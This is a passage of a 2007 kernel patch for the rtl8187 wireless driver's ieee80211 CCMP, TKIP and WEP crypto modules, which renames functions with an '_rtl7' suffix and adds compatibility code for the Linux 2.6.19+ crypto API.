virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-06-08 23:30:44.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < 